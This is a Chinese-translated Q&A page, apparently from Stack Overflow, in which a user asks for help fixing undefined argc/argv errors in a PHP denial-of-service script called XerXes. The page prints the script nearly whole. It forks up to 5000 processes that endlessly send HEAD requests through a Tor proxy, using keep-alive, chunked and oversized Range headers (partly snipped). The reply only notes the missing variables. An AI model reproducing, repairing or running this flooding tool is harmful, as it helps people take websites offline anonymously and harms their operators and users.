注意:未定义的变量:第73行的C:\ xampp \ htdocs \ XerXes.php中的argc注意:未定义的变量:第73行的C:\ xampp \ htdocs \ XerXes.php中的argv

时间:2013-04-12 14:02:33

标签: dos argv ddos argc

我最近进入了DOS攻击脚本(如何使用它们以及如何防御它们)并选择了一个名为XerXes的脚本。我注意到这已经用两种不同的语言编码.c和.php我都有。我可以得到.c一个完美的工作但不是.php一个因为我得到这个错误:

注意:未定义的变量:第73行的C:\ xampp \ htdocs \ XerXes.php中的argc

注意:未定义的变量:第73行的C:\ xampp \ htdocs \ XerXes.php中的argv

这是脚本:

<?php
function usage($argv) {
print "Usage: php ./{$argv[0]} <number of processes> <url>\n";
die();
}

function head($url) {
while(true) {

    $header[]     = "Connection: keep-alive";
    $header[]    = "Transfer-Encoding: chunked";
    $header[]    = "Range: bytes=0-,<SNIP>,1-1299";   //Sniped for site because it is BIG
    $header[]    = "Accept-Encoding: gzip, deflate, compress";

    $ch         = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_NOBODY, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_VERBOSE, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);     
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($ch, CURLINFO_HEADER_OUT, false);
    curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:9050");
    curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    while(true) {
        echo '.';
        curl_setopt($ch, CURLOPT_USERAGENT, "XerXeS Attack Platform - 0wn3d bitch. TANGO DOWN (+http://th3j35t3r.wordpress.com/)");
        curl_exec($ch);    
    }        
    curl_close($ch);
}
}

function main($argc, $argv) {

$status = 1;

if ($argc < 3) {
  usage($argv);
}

if($argv[1] > 5001) {
    echo "MAX OF 5000 threads\n\n";
    die();
}

$pids = Array();
echo "URL: ".$argv[2]."\n";
for ($i = 0; $i < $argv[1]; $i++) {
  $pid = pcntl_fork();

  if ($pid == -1) {
die("ERROR");
  }
  else if ($pid == 0) {
        head($argv[2]);
     exit(0);
  }
  else {
$pids[] = $pid;
      }
    }

foreach ($pids as $pid) {
  pcntl_waitpid($pid, $status);
}

}

main($argc, $argv);  //Errors :(
?>

感谢您解决此错误的任何帮助。

请注意:为了安全起见,我不会使用这些代码来攻击我自己以外的服务器以及如何防御它们。我不推荐任何一次DDOS或DOS。

1 个答案:

答案 0 :(得分:0)

您永远不会定义这两个变量。你想把什么传递给main()函数?